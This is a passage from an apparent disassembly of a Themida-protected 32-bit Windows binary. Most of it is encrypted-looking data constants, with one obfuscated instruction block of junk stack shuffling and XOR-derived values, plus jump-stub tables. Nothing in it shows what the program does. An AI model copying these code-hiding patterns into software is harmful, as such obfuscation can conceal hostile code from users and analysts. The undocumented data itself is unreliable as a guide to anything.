41h, 0F9A51369h, 5440ABB1h, 0F5CC57E5h dd 73707B71h, 66537EC8h, 0FDFF77CEh, 554E5DF6h, 327AA226h dd 64E6D65h, 76229939h, 0C9DFEF1Eh, 580690E6h, 52696Dh dd 7A57AF23h, 0EDFBA73Fh, 318h, 874A1744h, 0C9F0E532h dd 76498F9Ah, 0E1F5C2CAh, 0A7D62EDAh, 2F813A9Ch, 8B378452h dd 1163587Eh, 0CF17C735h, 0E53936C9h, 0D07CA457h, 618A88Ah dd 0F191B358h, 5A657340h, 0CD963C03h, 93C24E5Eh, 0D9CD3E27h dd 72C0F8h, 17D70000h, 85318E4Ah, 86F4FE2Dh, 5359B025h dd 51F1E86Dh, 29C15981h, 0FBC414E1h, 0C2C8F74Fh, 0E502F9BCh dd 0F39FC757h, 6E9714EBh, 3342B358h dd 84DEC004h, 74635806h, 43909D49h, 0C0C6CE7Ah, 580684DAh dd 0B014C6EEh, 72480F92h, 0E6B7079Bh, 6998E2F8h, 5607B17h dd 59F8D970h, 95857E82h, 0CD287F3Eh, 50B6E5E0h, 0F7h, 63567B48h dd 49305FB7h, 7D874A17h, 20CC645Bh, 488E99C8h, 1DBAC773h dd 4A8B58A0h, 0C9D6406Fh, 8F66AE0Dh, 4D52C693h, 44AEDD13h dd 0CA1C9F37h, 0F2DCC5B4h, 39825451h, 37380FE7h, 0BA7BB010h dd 65717CABh, 0E2370E56h, 6DBF8380h, 8933194Eh, 329AF632h dd 1F8D9903h, 925F276Fh, 74B7A3Fh, 57E59264h, 0A078CAF2h dd 71ECD2D8h, 28005806h, 6723C22h, 90285058h, 45E95761h dd 4A74F7FDh, 9AC25DFBh, 0EBC28A52h, 7ACBDBEAh, 6E54DAF1h dd 825E1DD9h, 0B7202B5Ah, 0D7B406h, 6C1297FEh, 0F68EF1EEh dd 92D69818h, 0C5D3BD38h, 1B4h, 0E4368953h, 9FF1CC07h dd 59AB10C2h, 0E60597Ch, 0C517A631h, 53842C8Ch, 963B186Ah dd 0E4F4D123h, 2AAC89DBh, 0AB333F91h, 0B83BFA5h, 71D8D358h dd 728E4A17h, 9289DD58h, 0EA962E20h, 7F586392h, 0C70FEC3Eh dd 13E9A2F4h, 0ABB1F9A5h, 57E502E8h, 9CE28EB6h, 580602BAh dd 5168923Fh, 0B1D932B8h, 0F805B149h, 0BC32DEDFh, 0F0B73A58h dd 338A4D1Ah, 0AE002F87h, 0A36EF7ECh, 28F0F8D9h, 6423C22h dd 0F9285058h, 0AD93h, 0C412AA00h, 993E4BF7h, 43327824h dd 0D251F1ECh, 8D65B704h, 4FA617C0h, 3A0A3E5Bh, 5C679654h dd 8995417Ah, 252B731Bh, 57E5C482h, 0BA96E810h, 8F5CA44Ch dd 0D8BEC447h, 0EC5806A3h, 28802CC4h, 0C9EDF3F9h, 595DFB77h dd 7312E931h, 0E345B00Fh, 0DBA8AEDDh, 926FC1FCh, 0AA15C345h dd 0DAE1F1FEh, 0EECCAA42h, 7B389308h, 0BE8391h, 93490000h dd 0D6FDDA2Ch, 1AB895E7h, 63724FA1h, 0B0270456h, 3682BB0Dh dd 0E605D7Ah, 0C719A031h, 7FD1EEEAh, 358734A2h, 0B59BA129h dd 0C9580B84h, 0C51267CEh, 1CEA6F8h, 0E63EEAD1h, 912AACB7h dd 0C412863Fh, 0F1E2AFF7h, 26339DCCh, 0DDB90BB0h, 7177BF6Fh dd 57EB9A8Dh, 38854E1Bh, 0B15D8509h, 8467D2A9h, 8733884Eh dd 0A8D82Fh, 0C80E1948h, 12C4A1F3h, 15B7FDA9h, 0B14B7A7Ch dd 34FC0D4Dh, 9C5C482Eh, 0DD345C6Bh, 0D9CC5AF5h, 3F4A795Ah dd 886E7497h, 9C6B9C72h, 0AD8ADC74h, 0D9E69229h, 0BC11BDFCh dd 12C4781Ah, 0B27F57A9h, 616C9B20h, 8C9A4675h, 8, 0DDE0F7C4h dd 7DE4C7AEh, 49F5CA12h, 75219A3Ch, 0A34F7068h, 0D27E3B96h dd 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh, 8733884Ah, 0B864597Ah dd 0E6895633h, 4C681h, 0B8500000h, 4, 8758C629h, 525C2434h dd 0C281E289h, 4, 8704EA83h, 895C2414h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 5864h mov [esp], ebx mov ebx, 74910FAFh mov ecx, 72889C1Bh xor ecx, ebx pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ebx mov ebx, 8 add ebx, 52C94D69h add ebx, edi sub ebx, 52C94D69h mov [ebx], ecx pop ebx mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5509FF ; --------------------------------------------------------------------------- dd 744CDDDFh, 0C42A9AC5h, 0B8B65E68h, 6199E1Ah, 0E0FFC503h dd 3E9ABC72h, 0D6DCC83h, 161830D2h, 7EA70D62h, 1C7A3926h dd 1A11DD36h, 5413302Bh, 85AEA30h, 3FA360A9h, 0F580F9Bh dd 30B17359h, 359AE94Dh, 6C8BDFDFh, 5DC7B5C3h, 0A0068D8Dh dd 6A0619h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 525841C3h, 2205B529h, 60580614h, 1AD5B58Bh dd 9D8B0614h, 61421BDh, 298D8961h, 6A061432h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8B03C357h, 85B58BC1h, 0C7061425h, 14064D85h, 5C4C06h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0D6AA2F1Ah, 0C83EB682h, 267185C7h, 614h dd 1F90000h, 142E0D9Dh, 91B5FF06h, 6A061405h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 7411C357h, 95FFF5C8h, 6142361h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0BDC35747h, 0F9231298h, 1921858Bh dd 6A0614h, 116995FFh, 0C08B0614h, 0DF9A7FEBh, 610CB1B6h dd 50B2652Bh, 0C7B8FC45h, 4E9D307Fh, 0C05924EFh, 8C06DCDFh dd 1C09A99Eh, 11E6A0B6h, 8575461Eh, 0A8383968h, 687135EDh dd 58CD9165h, 36B3F9EBh, 359C9D1Eh, 5382F52Ah, 967DDCCCh dd 82C94D4Bh, 0EE4D2EDFh, 152DDA59h, 0F68451C5h, 5A2D11E7h dd 2BA5FB6Ah, 0E6F12939h, 0DB1458D0h, 6CF4E4E2h, 0E0B90171h dd 0DD07536Bh, 5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h dd 0EE9CAh, 0EE9E0000h, 339C4EC4h, 77E7h, 0 dd 0D72E9h, 0A22C6800h, 74E90619h, 68FFFADDh, 619A30Ah dd 0FADD6AE9h, 0A46B68FFh, 60E90619h, 68FFFADDh, 619A5D1h dd 0FADD56E9h, 0A7A368FFh, 4CE90619h, 68FFFADDh, 619A9BAh dd 0FADD42E9h, 0AB5968FFh, 38E90619h, 68FFFADDh, 619AC8Ah dd 0FADD2EE9h, 0E7D804FFh, 0A21BB895h, 5C5F7350h, 11A82D0Ah dd 0C8F5E2BFh, 357B3D76h, 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h dd 0E4F04279h, 8870565Ch, 8984580Bh, 42C41222h, 28802C91h dd 0FFD7E490h, 208E6ABCh, 8F222870h, 7B57E539h, 0EC9825AEh dd 1AC6F9DFh, 77FB2AC2h, 7B5DA34Fh, 86580619h, 15F5E3B0h dd 0F74FFBC2h, 0BCDE305Fh, 0D9BD3E27h, 2CC0F8h, 13D70000h dd 0ABB1F9A5h, 57E502E8h, 506B6734h, 991D4CA4h, 0F0BDC571h dd 63A7D6E7h, 58060381h, 0B3286A8Ch, 0F8D9D6B2h, 0DF4Ch dd 0C4126300h, 6C434BF7h, 30F2C311h, 3641704Eh, 4C6F67A1h dd 68B048A0h, 95E95491h, 0D3CBCA4h, 7B4096A3h, 0A714C2CFh dd 218C3F55h, 23B351F2h, 6D694698h, 2896A24Eh, 0E0DBFBC8h dd 7056DC34h, 8451F221h, 767CC45Ch, 57E53A3Bh, 813E9A67h dd 0CA4E7DD5h, 448D5AA2h, 184F1E75h, 8DBF1D94h, 4724E5Eh dd 8C47145Ch, 0B460597Ch, 0C018C45Ch, 59858B91h, 0E95DFB2Ch dd 2BAC79C1h, 0A0684092h, 1D0CB49Ah, 58A0C85Eh, 1D0D6C52h dd 2958805Eh, 2604B91Eh, 38936E8Ch, 42D5E3CDh, 3E00000Bh dd 0F2CF219Eh, 0AD8ADCE1h, 67449625h, 1CF94B6Eh, 77B002BBh dd 55686F41h, 0EAB2603h, 0C6F9DFBCh, 7C3F9774h, 90961E2Ah dd 580B89AAh, 125CC3BEh, 5C4248C5h, 7051F1E8h, 815EB048h dd 5B146655h, 63494F17h, 7751F1E8h, 0A816204Fh, 0CAD9B0F8h dd 1BF2A7C7h, 49959853h, 0C159A6FFh, 0C3868C92h, 9157E583h dd 9577BD69h, 0A0580682h, 9EC7DC7Eh, 60F8D956h, 0C4h, 73468B58h dd 59406FC7h, 4BF7C412h, 7824993Eh, 0F1ED7F32h, 0D630A651h dd 0BB13BFFCh, 0E2F4D123h, 0B3212DD9h, 82BDC30Bh, 3057E506h dd 7DEB608h, 0FADCCD33h, 66BD15C1h, 0E716567Ah, 77BF6FDDh dd 0FB4D5671h, 549CC45Dh, 19B85087h, 2ECA53E1h, 0A63EF6E2h dd 0F8DFBC0Eh, 86D5E7C5h, 0AE983893h, 0A64A0h, 0FFC01C00h dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h, 8B886E74h dd 0A19C580Bh, 0F8C5123Ah, 0CBEEE3B0h, 2B11171Fh, 3F51F1E8h dd 9F327F17h, 0E7166E1Ah, 0DFDCFAD7h, 0E3C9CF97h, 0F751F1E7h dd 67FFBC1Ah, 83502838h, 553C6B4Eh, 63494F17h, 7751F1E8h dd 0C115204Fh, 95414EFAh, 8AF8D426h, 0D9989EE6h, 8F57E51Ah dd 9275BB67h, 9F5805F9h, 9FC6DD7Dh, 5FF8D9DBh, 695h, 5FF38057h dd 441CA414h, 0A5132E15h, 0F3E4B1F9h, 53FFBE15h, 2E3463FBh dd 70018F66h, 134A73E0h, 46E1A0E4h, 0BF9757E5h, 625D3B9h dd 0CC0AE758h, 53EB43EFh, 0E7C90FBBh, 0F2580625h, 0B27FB2D0h dd 0FD699825h, 0F8D9AF68h, 64896h, 0A513AD00h, 0F2E4B1F9h dd 96C51DC9h, 1B878A90h, 0ADD557E5h, 0FBD9BB01h, 0EE45805h dd 7D299041h, 0E6A4F625h, 0D9D978EDh, 840FE6F8h, 13135D17h dd 12187EADh, 2F000006h, 60CE6BD1h, 176268B0h, 0E557E502h dd 0EDC81CBDh, 55E3F84Ch, 0E9EF37E7h, 0EA0E5DC2h, 11E83058h dd 0A365CB84h, 0A40E3DFFh, 3E862A98h, 22334338h, 54D75F0h dd 5A63703Dh, 1C2756AEh, 0D2AF01BAh, 0EDD9B704h, 94A66D47h dd 9039CAAh, 5F7D0000h, 0A2310E60h, 0E6ECC91Bh, 2FA683D5h dd 7C5B388Ah, 2B6EF41h, 429429AEh, 0FB4D6C65h, 0B305BA1Eh dd 69BB00D6h, 0E9CFD55Dh, 0FD580B8Bh, 4F179B02h, 0F1E86349h dd 204F7751h, 4EFAC115h, 0E42CD442h, 33864F1Ch, 0BC002F87h dd 57EB8947h, 0E9FF5179h, 580B87D7h, 87D5BBC1h, 0C1E9580Bh dd 70C6936Ah, 0B54D9055h, 0F6C511DCh, 0B35BC8A4h, 82379E6Bh dd 0B8854D53h, 2E72A11Ah, 580B5730h, 0FBC215E2h, 0EC9825AEh dd 0B9E16594h, 30D6000Dh, 106814A5h, 15AD10C3h, 1D23EBC3h dd 580B5737h, 7653644Bh, 0E0054034h, 0E3D51948h, 88580BCAh dd 0A318BA50h, 7ECC30Bh, 0B574E81Bh, 0F0CDDD0Ch, 0E329D5E6h dd 580B2301h, 0B8F0C75Fh, 89B6290Fh, 0B1D12352h, 18605B7Bh dd 86328D4Bh, 12EFFF2Eh, 5B4147C4h, 6F580B3Eh, 44AFA388h dd 942CE89Ch, 280A50FCh, 0AD580A5Fh, 0DEEB9726h, 0A719C5FAh dd 0DA20743h, 0C1152F6Bh, 832F8E45h, 744B932Bh, 4490965Fh dd 1D2D5C3Fh, 1343Fh, 0C4129600h, 9A3E4BF7h, 4D337925h dd 0DA51F1E8h, 0A077BFFCh, 1174AD93h, 0F8629154h, 1C227EECh dd 51F29336h, 428A224Ah, 4D5C6C6Bh, 7EC6235Ah, 0F2A39278h dd 4F7EA651h, 45CE4349h, 0D80057ECh, 0A436D6FAh, 0C7D5BF3Eh dd 79Dh, 74C6F9E3h, 2F813C97h, 0E93B8052h, 9EF0C90Ch, 55A716C1h dd 0C3149C1Ch, 6CBA8FAh, 548461B3h, 9A3C196Bh, 3BC3CF21h dd 0B8D4F35h, 1686358h, 308D4A17h, 0DBE0F601h, 8B5222Fh dd 0BFFD9B6h, 85AF2CDh, 8A746330h, 8420EBC3h, 0D8841CAAh dd 4B00BCBh, 0DAE514ACh, 0F1CE0AFCh, 0E28E2FA4h, 0C3A0F28Ah dd 0F0FDA914h, 3A2026E7h, 4E51F25Dh, 70E28E26h, 21B64E0Ch dd 4C87549Ch, 5CD5BBC1h, 0C1E951F2h, 0D8257D29h, 0B810BCFDh dd 2A3B7989h, 0D4FEED7Dh, 7, 0B611EBh, 17680000h, 0B8092F40h dd 0F9283C88h, 27D3E8EEh, 0F1E3FFE1h, 0FE63C51h, 7048DC99h dd 5B81BDDh, 3A690159h, 4492AAE8h, 90482577h, 5A3D832Fh dd 0C151F21Dh, 3F9953EFh, 1CE4CAD0h, 1BF851F2h, 0FF5703B6h dd 0A57DCF67h, 90BF00D8h, 44C612A9h, 257D2992h, 11D9E18Dh dd 0F1E8250Bh, 0E2113951h, 12BE01D7h, 3EEAD105h, 6D19A031h dd 92173357h, 0FA00C8E0h, 51F1E814h, 0CBB96A97h, 0D399013Bh dd 682A7CABh, 69BB04D4h, 0F1EFC453h, 0CC9A4851h, 34FEED06h dd 0FFFFFE82h, 494F174Bh, 51F1E863h, 0E809EFF5h, 0F51D51F1h dd 0CCD8072Fh, 311h, 1C9F3704h, 2E91870h, 9042C412h, 0C7F4DE2Bh dd 7F2BC31Bh, 0D12DAA77h, 82E3EE06h, 5B8A220Ah, 0F2BE2517h dd 1CE9C151h, 15905B6h, 0EF9B24B4h, 74166897h, 53A516C0h dd 979C6076h, 32C8588Fh, 0EE9A25B3h, 0BA66FE96h, 0F2B48274h dd 725F2C51h, 0C90D1847h, 0CC3A46F2h, 0A753666Fh, 0EB83389Ah dd 3D430B53h, 51F2B557h, 0E14436Bh, 5E5D7946h, 0E72B5AB2h dd 57EC5672h, 3C9E7CA4h, 6D3EA425h, 5CB7583h, 27B50000h dd 6A694698h, 0AE240153h, 0F7DEBB0Dh, 449370C2h, 0CAEE2779h dd 7ACCF1E6h, 3385349Dh, 0EB3D8256h, 0A1F3C80Eh, 21070D95h dd 35580B8Fh, 0C412D33Ah, 993E4BF7h, 0E1F5D224h, 2CAB88DAh dd 597C4991h, 0BAC73160h, 0E7F4A01Dh, 1825D1ECh, 0E05602BBh dd 29DBDE7Ch, 686F85C5h, 0A0C50355h, 5EFEEDEDh, 225h, 43A61375h dd 5A5F7292h, 12BE56AEh, 6E7622BAh, 0C4DA7B97h, 0A800AC0Dh dd 0AE473251h, 896B3B7Fh, 3052AE9Fh, 4CEC7912h, 0F612FFFEh dd 29000001h, 2F8C4A17h, 0F2FC2B83h, 11AA2885h, 452B3179h dd 0D751F1E8h, 28E7C500h, 34B60DAEh, 0B93D6C74h, 0CF9FE591h dd 0B6AE9F31h, 88DDF694h, 76FFFEA3h, 1C1h, 43A6138Dh, 237B2792h dd 433D438Bh, 6F51F1E8h, 3137FF47h, 51F1E84Bh, 9E08375Fh dd 9EE78858h, 0D1996FAEh, 0E0E6E5CBh, 0A2D1F950h, 0CC993250h dd 32FFFEEEh, 189h, 0F8A61349h, 0E7ACAAB0h, 0B8E051F1h dd 0E6F6C60Ch, 0BBDDAE9Eh, 369D6A9Fh, 5483DB87h, 0FEEE7DE8h dd 16381FFh, 17980000h, 2318E4Ah, 30DCDFF7h, 0B608B323h dd 7CC46CDAh, 0E538E376h, 63745157h, 956AE5Ah, 0EA42EECDh dd 1D330A52h, 690FCC94h, 0D01680AFh, 58062FEEh, 20BBD7F9h dd 0F8D9A645h, 654B5119h, 79580638h, 31BC2251h, 0D3000000h dd 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch, 27EFC558h dd 6033B21h, 804BBE58h, 8ABF6A18h, 1B6D9CC4h, 9201647Fh dd 0B9FDF8D9h, 14000000h, 0E3154017h, 87A56BEEh, 0F2699B81h dd 0EF87AF51h, 0DB21B5C0h, 0AF4CB66Dh, 2F770FA9h, 533A6858h dd 0FFE33A85h, 0C2FBD8E5h, 8491FB2Ah, 0B6BE6A53h, 25D1E8E9h dd 43939ECDh, 17BFCC78h, 893C52A4h, 0B051F228h dword_5A3568 dd 67439526h, 70D55F9h, 57E6FD6Eh, 71488956h, 0BA3E6DC5h ; DATA XREF: Themida_:0056F554o dd 5A7D4A92h, 0A3341163h, 0DD7E646Ah, 6A925808h, 9EF0F4D2h dd 0E3CD3EA7h, 3B4D5h, 0AF10CC00h, 6A53805Dh, 24973B18h dd 0D9E0F5D2h, 902DAA87h, 0FDB3053Eh, 0B491E3DAh, 6D4A9C1Dh dd 2502546Bh, 0ACB80AB1h, 91381E24h, 514C580Bh, 0F8C512EAh dd 0AE0DC9A6h, 0B2989E66h, 0C651F1E7h, 0A65F6F9Eh, 4BF7C412h dd 0DB23983Eh, 4CF8C50Eh, 0E8583E44h, 446C51F1h, 45785FACh dd 0DF00616h, 9951F1E8h, 83B20BCCh, 1B630B79h, 0E51DEA15h dd 0FE507857h, 0F7C41245h, 0FBE1E7AFh, 0F51F1E7h, 414EB8E7h dd 0F8D42695h, 989EE68Ah, 57E53905h, 599F4B73h, 58061877h dd 0A9226082h, 0F8D9BDBCh, 6CFCBA2h, 4AA11AB8h, 0D2011FA1h dd 766Ch, 40178300h, 2723EE42h, 777DC501h, 51F2C591h, 444E7DA5h dd 0A85C75D6h, 60F89029h, 0E14F1218h, 401D57E5h, 227A2697h dd 0E0EED4DAh, 0DA025806h, 5F23FA42h, 70EEAE2Bh, 91990332h dd 7DAC0DC4h, 6585739h, 0BF8C6258h, 0EDFAA619h, 0CF27D3EAh dd 2D7FE037h, 0E5E24D48h, 0AD2664B6h, 0F8D92FB8h, 0E346h dd 84673E00h, 20B35DACh, 0A6B1979Dh, 9DC55806h, 12EFD605h dd 3E4BF7C4h, 6B782499h, 3108506Bh, 8250AA91h, 51686DBEh dd 13208AB9h, 90A6F8C3h, 51F275DDh, 97E9D204h, 0E9EF1CBAh dd 51F27503h, 0F57EF17h, 0F9289542h, 6915838Fh, 0C6781B21h dd 0DE0657E5h, 9E42B08Ch, 11C18E56h, 0B4377BAAh, 25DFB7Eh dd 10C592DAh, 50E6FDA9h, 0C5AE3174h, 0C11562FAh, 0C7F64EFAh dd 0DAE3F4C1h, 912CAB88h, 92F13BB3h, 9EAC9638h, 215h, 0FC4E716Bh dd 0B709B41Fh, 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h dd 7E533082h, 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0B92D7BDh dd 89F0EB58h, 8E43C512h, 71687F2Bh, 26B0524Fh, 0AE009830h dd 0F2C909D6h, 0B4BFEE46h, 0AF2E422h, 48C8C62Bh, 0A450E8D0h dd 0A962B44Ch, 0B1F9A513h, 0E502E8ABh, 666C3457h, 58060380h dd 48F4CB0Dh, 0D3022AF0h, 357B274Fh, 58060353h, 17BB885Eh dd 308EEF4h, 0F41C5806h, 0A535055Ch, 0FB3AFCCh, 0D7CC8EE0h dd 0F8D9648Eh, 0E070h, 369B6800h, 176D5483h, 2F8C4Ah, 0B225E1F5h dd 0BFC7730Bh, 2DD9E6F2h, 3C9BA6D5h, 0DC8FD581h, 851F1ECh dd 0A5C9C431h, 3B4150DFh, 51F29855h, 7AA94169h, 0C54676Fh dd 61C18035h, 4B7ADCEEh, 4296633Bh, 1AA3307Dh, 0DCE7166Eh dd 915C1FAh, 0E3ABF39Bh, 0F222F7DDh, 0B4E30B51h, 7405A8AEh dd 6B9357E5h, 1FCF3D19h, 26ADD1D7h, 0EEBB5DFBh, 22A6D5EAh dd 0E02D8C45h, 0E42CC4F5h, 0CDFCBF17h, 2BDDFAC7h, 106814A7h dd 8E492678h, 74A7512Fh, 543E3893h, 0E446h, 7F409C00h dd 3A83502Dh, 0F4C70BE8h, 0A910C5A2h, 605D7A57h, 0CDE3D50Eh dd 8461B30Ah, 3D1A6C4Dh, 0F5D2249Bh, 7C88DAE1h, 9408EEF4h dd 211C580Bh, 0F8C512BAh, 0AE0DC9A6h, 1EB7845Ch, 0E1E7EF9Bh dd 51F1E7FBh, 204FE70Fh, 894A1739h, 1308834h, 2FDBE0F6h dd 0B507B422h, 0C40E6BD9h, 57CA9E38h, 0BD5533DFh, 0D921B911h dd 44F0C90Ch, 0B1B7BDECh, 57EC5740h, 8E96426Ah, 79A817C1h dd 153686Eh, 5D09B224h, 0C6960E17h, 0BA01D11Eh, 2A61F70Eh dd 65AB5D80h, 52FEBF18h, 99183A1Eh, 2EC37FE3h, 9C487761h dd 0CC0A1544h, 16C09DEFh, 24F1F9A5h, 72585EAFh, 86A0E92Eh dd 0C21AC65Eh, 0AD596075h, 0BA1B2655h, 5CFE53FFh, 0EBD0063Eh dd 0A11ABC99h, 0B620EDF5h, 81B0E046h, 720A56BEh, 33743h dd 0E48E0000h, 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h dd 696833B8h, 89000071h, 8957243Ch, 4C781E7h, 83000000h dd 3C8704EFh, 34895C24h, 6F76824h, 14890000h, 22C4BE24h dd 4E465F32h, 2414F756h, 49EE815Eh, 549AB43Ch, 8124148Bh dd 4C4h, 0F0895000h, 242C8150h, 10033B9Ch, 8108428Fh, 3B9C0842h dd 0FF581003h, 815A2434h, 4C4h, 24348B00h, 81E38953h, 4C3h dd 4C38100h, 87000000h, 0E95C241Ch, 0FFFAD013h, 998D13E0h dd 0B8169B10h, 619AD93h, 0E0FFC503h, 1A911019h, 455707E3h dd 11A16765h, 1C09F2BAh, 55A9BA9Dh, 9ED30C0h, 10148AF3h dd 2539F6C4h, 2E325653h, 0AF6DC8Eh, 187EBF9Ch, 660DD15Ch dd 764A2EE3h, 3F8B7C7Eh, 5A53B84Bh, 5894F75h, 23CD90E8h dd 7615E918h, 380EA425h, 7D4AF078h, 3E0FBE1Fh, 36FE281Eh dd 59B6D704h, 38508E4Bh, 6B84112Bh, 38FED37h, 2A79AED0h dd 181E9h, 2BED0700h, 0EB6FF803h, 174B9085h, 0CA5FB14Dh dd 0C1513B0Ah, 0C251F853h, 0C95F930Ah, 0E2769F53h, 0B0238E3Ah dd 4B770C53h, 4FC36ED1h, 0F7B19D9Dh, 86138752h, 12853h dd 0 dd 400h, 2 dup(0) dd 2F00h, 0 dd 800h, 0 dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 45h dup(0) dd 0FBE90000h, 68000016h, 619B225h, 0FB96A9E9h, 0B32C68FFh dd 9FE90619h, 68FFFB96h, 619B40Fh, 0FB9695E9h, 0B4D268FFh dd 8BE90619h, 68FFFB96h, 619B679h, 0FB9681E9h, 0B80968FFh dd 77E90619h, 68FFFB96h, 619B8CCh, 0FB966DE9h, 0B99168FFh dd 63E90619h, 68FFFB96h, 619BBCEh, 0FB9659E9h, 0BCA068FFh dd 4FE90619h, 68FFFB96h, 619BD3Eh, 0FB9645E9h, 0BDBB68FFh dd 3BE90619h, 68FFFB96h, 619BF69h, 0FB9631E9h, 0C4CA68FFh dd 27E90619h, 68FFFB96h, 619C5B5h, 0FB961DE9h, 0E98983FFh dd 6CFE0418h, 0F179879Bh, 73F50C20h, 0FA788EA2h, 82EF1429h dd 91DEE84h, 91A576FAh, 172BFC74h, 4DAF80E8h, 0A9D86C08h dd 0F5533046h, 4226D9A5h, 0AEBA4589h, 49F109DDh, 0C490F2FDh dd 0FA8E2ABFh, 752A2DE0h, 0FFC253E4h, 11117A63h, 22C7FF34h dd 0FFB7E5F9h, 4FDB9425h, 304120B7h, 0F9B2B649h, 0A573D611h dd 68FC6B8Eh, 1D1CD59Bh, 5BADBDB9h, 4DF071F5h, 406FA7BBh dd 48h, 8B27AA42h, 2A2CF9F7h, 0A4A8E172h, 45C88B8Ch, 0F99226C2h dd 7C0D2A2Ch, 207EB743h, 40033410h, 411410A4h, 69FA8B30h dd 17B452A6h, 3BEA41A7h, 0D710A1FDh, 0AE4AE26Eh, 0B81E3041h dd 0D110B3BEh, 5036FA7h, 5000001h, 7F4226D9h, 0DA93D72Bh dd 0B3F76099h, 22661F53h, 8ED28BDDh, 47305071h, 0E4FFEEE1h dd 0C73C9053h, 76AFF0A9h, 10BAB2F5h, 6C4ABDD8h, 98EB77B0h dd 712A2C9Dh, 1679AEEh, 2D959125h, 427B0C2Ah, 966701FEh dd 32EB7D82h, 0D8986BBFh, 95E57915h, 0D7682A2Dh, 81829A9Eh dd 1B433BBEh, 0C181E627h, 0E5B6427Bh, 483410E4h, 0D89529C5h dd 87183041h, 0D89428C4h, 86173041h, 0A669FA4Dh, 3733CF23h dd 0CD613D7Eh, 503041D8h, 310586BFh, 0B9551819h, 3A289057h dd 25619AAh, 57AB6E04h, 0C708C1A9h, 659ED233h, 3C36D0E4h dd 0BA069473h, 2472EDE0h, 1449h, 93640EFEh, 16E7837Fh dd 9B6CFE02h, 1DEE7A87h, 0A475FD09h, 9FD6A8Fh, 7F849869h dd 0F90C20F1h, 6D92A677h, 83C82AFBh, 46AB53E7h, 2878D630h dd 379E2DD9h, 0C81C5EECh, 0AABE8F20h, 58501355h, 0CE29DB68h dd 48E79DBDh, 62F7FAAEh, 0C91798D1h, 3D000119h, 0D39D66BAh dd 14A0D91Ah, 34101FDBh, 97D92A7Eh, 11649DDEh, 0D154C780h dd 141EB24Eh, 10A13041h, 4113A034h, 518A1B30h, 41142DC5h dd 0DB9B0130h, 0A736F396h, 0BBE66Fh, 0D9E80000h, 45894226h dd 6CF8B1C1h, 2A2C0619h, 4669CF0h, 8C760A4Bh, 0ABE425DEh dd 0FFD09867h, 9B5414EBh, 3C2ED428h, 5094283h, 0A629ECEDh dd 2CFD760Ah, 2F68F92Ah, 0AE4139BCh, 0C1E33DEBh, 0C3942059h dd 0A6341111h, 0EF8BB352h, 3041E15Bh, 83BC4DDEh, 0FACE9F30h dd 821EE1E2h, 3A289E11h, 4D23E034h, 6D30C114h, 0B485ED19h dd 430C66A0h, 0E0BA32FAh, 421A68E3h, 5000013h, 869A6B07h dd 91DEE7Ch, 8EA273F7h, 1024F573h, 96AB7CF6h, 70020461h dd 0F8788B9Fh, 7EF21327h, 26699ADh, 0EE8ACF31h, 3046AC5Ah dd 0D92777D5h, 6074452Dh, 0B5F8C99Fh, 0BDCC16BDh, 0F48DBF2h dd 0AD56AA91h, 0D06400C3h, 4B2A2CF9h, 0C23D81BAh, 827AEDA6h dd 93716D24h, 0EC306943h, 36CF2313h, 6CCA5E3Ah, 0AC542A2Dh dd 528A1BBEh, 1069A79Ch, 0A8790A0Ah, 45FE6C94h, 1FB34FD2h dd 9A2A2D34h, 738CD009h, 8DE124F5h, 0FA3BF474h, 14CD9B66h dd 0C7419AD3h, 0DB9E9FB7h, 10597E3Fh, 9A720334h, 0BA56B34Ch dd 6C6D8529h, 38480DA9h, 0B44525AEh, 0DEDFF7FBh, 0AD3C7F1Bh dd 0A2252B9Dh, 0ACEF831Fh, 0D96A1BCAh, 0CAAC69FDh, 1A53E41Bh dd 1F7336C7h, 0A3B788E0h, 0F0430C5Ch, 0B91125DDh, 125FF03Eh dd 24E80000h, 99697D4Eh, 14EC00D1h, 90718556h, 13F307D8h dd 44798E5Fh, 82531FE7h, 0ADB956Eh, 90610FF6h, 14E5837Ch dd 3DD16DB2h, 0C03046AEh, 27AA1262h, 633F33D3h, 2A2CF9CFh dd 3C80B94Ah, 0E8ECA5C3h, 700CCFD0h, 34100BA3h, 9BCD3286h dd 0AD7E0F62h, 49026699h, 692C2D45h, 2ABAE3CDh, 6D92263Ah dd 5E01B354h, 4958927h, 0A35CB073h, 2EB1F4C5h, 3AB6FE92h dd 0B7F0812Ah, 23DC8C73h, 4306071Fh, 24699DA7h, 0D0932434h dd 0D0B73DD8h, 6AA37F89h, 0C5CA3F7h, 90D8273Bh, 0F01064D7h dd 4780C17Ah, 672A2B43h, 20B448E4h, 0A6373041h, 0B15EFA6Dh dd 0DC3A2435h, 40C5824Bh, 8702E0B8h, 119C39h, 1161AB00h dd 94D62C40h, 1951AFC3h, 9BCD3448h, 2250B6CAh, 0AA873C51h dd 3145165Ch, 0B9CD9ED2h, 3F53244Ch, 75D7A8C0h, 0AE009430h dd 1D7B3046h, 452DD9CDh, 8788A074h, 1E8F28C4h, 6FF23410h dd 41133FD3h, 0F029BA30h, 0F530C9Dh, 93A778F0h, 9A2ECA6Ch 